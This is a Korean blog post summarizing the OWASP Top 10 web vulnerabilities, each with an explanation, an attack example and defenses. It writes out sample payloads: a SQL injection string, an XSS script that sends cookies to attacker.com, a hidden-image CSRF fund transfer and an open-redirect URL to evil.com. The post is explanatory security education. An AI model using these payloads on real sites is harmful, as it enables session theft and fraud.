파이어맨 이야기

OWASP Top 10

2015. 8. 17. 20:31

OWASP(The Open Web Application Security Project)


- 웹 애플리케이션 취약점 중 공격 빈도가 높으며, 보안상 큰 영향을 줄 수 있는 10가지 취약점과 대응 방안을 제공하는 웹 보안 기술 가이드를 제공하는 사이트



A1. 인젝션 ( Injection)



설명 : 공격자가 UI를 통해 SQL, OS , LDAP Injection공격을 통해 웹어플리케이션을 공격할 수 있습니다.

공격 : UserID input tag에 "' or 1=1 --" 과 같은 항상참으로 만들어 공격을 할 수 있습니다. 

방어전략

JAVA의 경우 preparedstatement와 같은 동적 SQL을 사용합니다.

DB 프로시저를 통해 호출합니다.

파라미터를 필터링합니다.



A2. 인증 및 세션관리 취약점 ( Broken Authentication and Session Management)


설명공격자가 사용자의 세션정보를 획득하여 웹어플리케이션에 권한을 획득하는 공격


공격 예 1: 공항 예약 프로그램은 URL 덮어쓰기를 지원하고 있고 다음 URL에서 세션 ID를 표시합니다. http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
사이트에서 인증 사용자는 친구들에게 할인소식을 알리고 싶어 자신의 세션 ID가 누설된다는 것을 알지 못하고 위의 링크를 메일로 전달합니다. 
친구들은 해당링크를 사용하여 세션 및 신용카드를 사용합니다.

 

공격 예 2 : 어플리케이션의 타임아웃 기능이 설정되지 않아 사용자가 로그아웃을 하지 않고 탭을 종료하고 자리를 떠난후 공격자가 브라우저를 사용하여 인증된 상태를 유지합니다. 


공계 예 3 : 내부 혹은 외부 공격자가 시스템의 패스워드 데이터베이스에 대한 접근을 획득하여 패스워드가 평문으로 되어 있어 모든 사용자의 패스워드가 공격자에게 노출됩니다. 

    

방어전략

        하나의 강력한 인증 및 세션 관리 통제


A3.  크로스 사이트 스크립팅 : XSS (Cross Site Scripting)


설명 : 가장 널리 알려진 보안약점으로 웹 어플리케이션이 사용자에게 페이지의 데이터를 보낼때 그 내용에 대해서 확인을 하지 않을 경우 발생합니다. XSS 공격의 3가지 유형은 1) Stored , 2) Reflected , and 3) DOM based XSS 가 있습니다. 


공격 예 

웹어플리케이션은 아래와 같이 신뢰되지 않은 데이터를 html에 사용합니다. 




(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";



공격자는 CC 파라미터를 변경하여 보냅니다. 




'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'



위의 스크립트로 인해 사용자의 세션 ID가 공격자의 웹사이트에 전달되고 공격자는 사용자 세션으로 접속합니다. 


방어전략

html 태그 관련 문자를 인코딩하여 변경합니다.

사용 예 )

& --> &amp;
 < --> &lt;
 > --> &gt; 
" --> &quot; 



A4.직접 객체 참조 취약점 ( Insecure Direct Object References )


설명 : 어플리케이션이 안전하지 못한 방식으로 객체를 직접 참조하는 것으로 공격자가 권한이 없는 객체에 직접 접근하여 데이터를 추출하거나 변경하는 행위를 말합니다. 


공격 시나리오 

아래의 URL과 같이 요청을 보내면 DB에서 해당 계정의 계좌를 조회해서 불러옵니다. 

공격자는 acct의 파라미터를 변경하여 다른 사용자의 계좌정보를 볼 수 있습니다. 

http://insecure.direct.object/index.html?acct=oji

pstmt.setString(1,request.getParameter("acct"));


대응방법

1. 접근권한을 확인하여 통제를 합니다. 

2. 객체 참조를 숫자나 다른 정보로 변경하여 간접으로 참조를 하도록 합니다. 



A5. 보안설정 오류 ( Security Misconfiguration )


설명 : 플렛폼, DB , 웹서버, 어플리케이션서버 등에서 패치가 되지 않거나 사용하지 않는 포트 및 기능을 활성화하거나 , 기본계정을 사용하는 등의 보안설정으로 인한 취약점이 발견될 수 있습니다. 


공격 시나리오

1. 어플리케이션서버가 자동으로 설치되었으며 아무도 접근을 하지 않은 상태로 기본 계정 및 비밀번호를 유지하고 있어 공격자는 관리자 페이지를 발견하여 기본계정과 비밀번호로 로그인을 하였습니다. 

2. Directory List하는 기능이 비활성화 되지 않아 공격자는 파일 리스트를 확인하고 클래스파일등을 다운로드하였습니다. 


대응방법

1. 환경에 필요한 소프트웨어 및 모듈만 설치하고 설치된 모든 소프트웨어를 최선 버전으로 업데이트 및 패치를 합니다. 
2. 설치된 소프트웨어의 기본설정이나 기본 비밀번호등을 사용하는 경우 변경합니다.  


A6. 민감한 데이터 노출 ( Sensitive Data Exposure )


설명 : 개인정보같은 민감한 데이터가 공격자에게 노출되는 경우를 말합니다. 

보통 민감한 데이터를 암호화 하지 않고 전송하거나 로그파일에 저장하거나 취약한 암호화 알고리즘을 사용할 경우 발생합니다. 


공격 시나리오

1. 개발자가 신용카드번호같은 민감한 데이터를 DB의 자동 암호화기능을 사용하여 저장하였습니다. 공격자는 SQL 인젝션을 통해 카드번호를 조회하였습니다.   

2. 공격자가 통신중인 데이터의 패킷을 가로채서 분석하여 거기에 들어가있는 사용자 ID 및 비밀번호를 가지고 로그인을 시도합니다 .


 

대응방법

1. 민감한 데이터와 민감하지 않은 데이터를 구분하고 민감한 데이터를 DB에 저장할 때는 공개키를 통해 암호화하고 비밀키를 통해 복호화하여 사용합니다. 
2. 민감한 데이터를 전송할때는 HTTPS를 사용하고 인증서도 취약하지 않은 인증서를 사용합니다.
3. 취약하지 않은 암호화 알고리즘을 사용하여 저장합니다.  


A7. 접근 통제 함수의 누락 ( Missing Function Level Access Control )


설명 : 특정한 권한이 필요한 페이지에 접근할때 사용자 권한을 체크하지 않아 공격자가 자신이 가진 권한보다 높은 권한의 기능을 사용하는 경우입니다.


공격 시나리오

1. 공격자가 http://example.com/app/admin_getappInfo 같은 관리자 페이지에 강제로 입력하여 접근을 시도합니다. 해당페이지에는 권한 확인하는 함수가 없어 관리자권한으로 모든 정보가 공격자에게 노출됩니다.   


 

대응방법

1. 권한이 필요한 페이지에는 모두 권한인증 모듈을 통해 인증을 합니다. 


A8. 크로스 사이트 요청 변조 ( CSRF : Cross-Site Request Forgery )


설명 : 공격자가 피해자의 메일이나 특정사이트의 게시판에 공격코드를 넣어 피해자가 의도하지 않은 요청을 보내도록 하는 것입니다. 


공격 시나리오

1. 만약 아래의 링크가 공격자의 계좌에 돈을 입금하는 Request일 경우 

http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243

공격자가 아래와 같은 URL을 페이지에 포함시킵니다. 

 <img src="http://example.com/app/transferFunds?

 amount=1500&destinationAccount=attackersAcct#“

 width="0" height="0" />

피해자는 은행에 로그인이 된 상태에서 위의 코드가 있는 페이지에 접근시 피해자 계좌의 돈이 공격자의 계좌로 이체가 됩니다. 


 

대응방법

1. 요청을 보내는 페이지에 예측할 수 없는 토큰을 보내에 공격자가 항상 같은 URL을 통해 요청을 하지 못하도록 합니다. 

A9. 알려진 취약점이 있는 컴포넌트 사용 ( Using Components with Known Vulnerabilities )


설명 : 이미 많이 알려진 취약한 컴포넌트를 사용하여 개발을 할 경우 해당 컴포넌트를 통해서 공격자가 공격을 할 수 잇습니다. 


공격 시나리오

1. Apache CXF Authentication Bypass : 인증토큰을 제공하지 않으면 공격자가 어떤 웹사이트등 전체 권한으로 실행할 수 있는 보안 약점을 가진 컴포넌트

2. Spring Remote Code Execution : 공격자가 Spring의 Expression Language 실행을 조작하여 임의의 코드를 실행하여 서버를 장악할 수 있습니다.


 

대응방법

1. 사용하지 않는 기능은 비활성화 합니다. 
2. 보통 최신 버전에는 이러한 이슈가 해결된 경우가 많기때문에 해당 컴포넌트의 호환성을 확인하여 최신버전으로 업그레이드를 합니다. 

A10. 검증되지 않은 리다이렉트 및 포워드 ( Unvalidated Redirects and Forwards )


설명 : 공격자가 사용자에게 검증되지 않은 리다이렉트 및 포워드 링크를 게시하여 피싱 및 악성코드를 가진 사이트로 사용자를 리다이렉트나 포워드 시키는 보안약점

또는 URL파라미터에 특정 페이지로 리다이렉트 및 포워드할 페이지를 설정할 경우 권한인증을 하지않고 권한없는 계정이 권한을 획득하는 보안약점


공격 시나리오

1. 웹사이트에 redirect.jsp라는 페이지가 있고 url파라미터가 있어 공격자가 피싱 및 악성코드있는 사이트로 사용자를 포워딩하거나 리다이렉트시킵니다. 

 http://www.example.com/redirect.jsp?url=evil.com


2. 웹사이드가 다른페이지로 가기위해서 포워드를 사용하는데 인증성공이후 표시될 경로에 대한정보를 파라미터로 저장합니다. 공격자는 해당 파라미터를 조작하여 관리자 페이지에 접근합니다. 

 http://www.example.com/boring.jsp?fwd=admin.jsp

 

대응방법

1. 리다이렉트 및 포워드를 사용하지 않는 방법
2. 사용할 경우 목적지를 알 수 없도록 합니다.





공유하기

facebook twitter kakaoTalk kakaostory naver band